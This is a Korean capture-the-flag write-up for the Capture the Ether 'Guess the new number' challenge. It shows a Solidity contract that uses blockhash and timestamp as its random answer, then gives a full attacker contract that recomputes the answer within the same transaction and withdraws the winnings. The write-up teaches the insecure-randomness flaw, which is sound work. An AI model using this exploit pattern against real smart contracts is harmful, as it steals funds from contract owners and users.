Capture the ether-Guess the new number

problem link

pragma solidity ^0.4.21;
 
contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
 
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
 
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
 
        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

guess를 호출하여 해시값을 맞추어 balance를 0으로 만들라.

풀이

function guess(uint8 n) public payable {
    require(msg.value == 1 ether);
    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
 
    if (n == answer) {
        msg.sender.transfer(2 ether);
    }
}

guess를 호출하는 시점에 answer를 계산한다. 실행 시점의 block number와 timestamp를 이용해야한다. 이는 어느정도 예측 가능하지만, 스마트 컨트랙트를 이용하면 복잡한 작업 없이 동일한 값을 바로 이용할 수 있으므로 스마트 컨트랙트를 이용해 익스플로잇했다.

remix에서는 어째서인지 blockhash가 실행이 되지 않는 것 같다. 리믹스에서 테스트할 때에는 bytes32(blockhash(block.number - 1)) 대신 bytes32(0)를 이용했다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.7;
 
interface GuessTheNewNumberChallenge {
    function guess(uint8 n) external payable;
}
 
contract GuessTheNewNumberSolver {
    address payable public owner;
    GuessTheNewNumberChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = GuessTheNewNumberChallenge(payable(_problem));
    }
 
    function guess() public payable {
        uint8 answer = uint8(uint256(keccak256(abi.encodePacked(bytes32(blockhash(block.number - 1)), block.timestamp))));
        problem.guess{value: msg.value}(answer);
    }
 
    function extract() public {
        owner.transfer(address(this).balance);
    }
 
    receive() external payable { }
}
 

다음은 공격 코드이다. answer를 동일한 로직으로 생성하여 컨트랙트를 호출한다. 넣어둔 이더리움을 빼기 위해 extract 함수를 추가했다. 컨트랙트가 이더리움을 받게 하기 위해서는 receive 함수나 fallback 함수가 있어야 하므로 이를 추가했다.


tags: writeup, blockchain, solidity, smart contract, insecure randomness